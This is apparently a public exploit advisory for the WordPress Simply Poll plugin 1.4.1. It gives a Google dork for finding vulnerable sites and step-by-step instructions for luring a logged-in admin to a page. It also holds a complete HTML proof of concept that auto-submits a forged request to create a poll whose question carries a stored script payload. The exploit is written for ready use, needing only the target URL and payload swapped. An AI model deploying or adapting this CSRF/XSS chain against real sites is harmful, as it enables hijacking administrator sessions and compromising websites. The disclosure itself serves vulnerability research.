# Exploit Title: WordPress Simply Poll Plugin 1.4.1 CSRF and stored XSS# Google Dork: inurl:"/wp-content/plugins/simply-poll# Date: 16.03.2013# Exploit Author: m3tamantra# Vendor Homepage: http://wordpress.org/extend/plugins/simply-poll/# Software Link: http://downloads.wordpress.org/plugin/simply-poll.1.4.1.zip# Version: 1.4.1# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)
Note: After a email to plugins@wordpress.org,"Simply Poll Plugin" was deleted.
Description:- The question parameter is vulnerable to XSS
- Simply Poll has an CSRF vulnerability (Polls=>Add New)
The PoC leads to arbitrary javascript execution in back-end area.
Steps to exploit the Flaw:- Save PoC code in html file- Send a link (pointing to the PoC html file) to a logged in admin
- When Admin view the Page he will automatically add a new Poll which exploits an XSS vulnerability in the question parameter
- When the admin views the Polls the javascript Code will execute
Note: this was just an example, it is also possible to remove, reset and edit all Polls.[code]<html><head><title>Simply Poll CSRF and XSS</title></head><body><!-- replace "127.0.0.1:9001/wordpress"--><form action="http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=sp-add" method="post"><inputtype="hidden" name="question" value='Is CSRF+XSS possible?<script>alert(1)</script>'/><inputtype="hidden" name="answers[1][answer]" value="yes"/><inputtype="hidden" name="answers[2][answer]" value="no"/><inputtype="hidden" name="answers[3][answer]" value="maybe"/><inputtype="hidden" name="answers[4][answer]" value=""/><inputtype="hidden" name="answers[5][answer]" value=""/><inputtype="hidden" name="answers[4][answer]" value=""/><inputtype="hidden" name="answers[6][answer]" value=""/><inputtype="hidden" name="answers[7][answer]" value=""/><inputtype="hidden" name="answers[8][answer]" value=""/><inputtype="hidden" name="answers[9][answer]" value=""/><inputtype="hidden" name="answers[10][answer]" value=""/><inputtype="hidden" name="polledit" value="new"/></form><script>document.forms[0].submit();</script></body></html>[/code]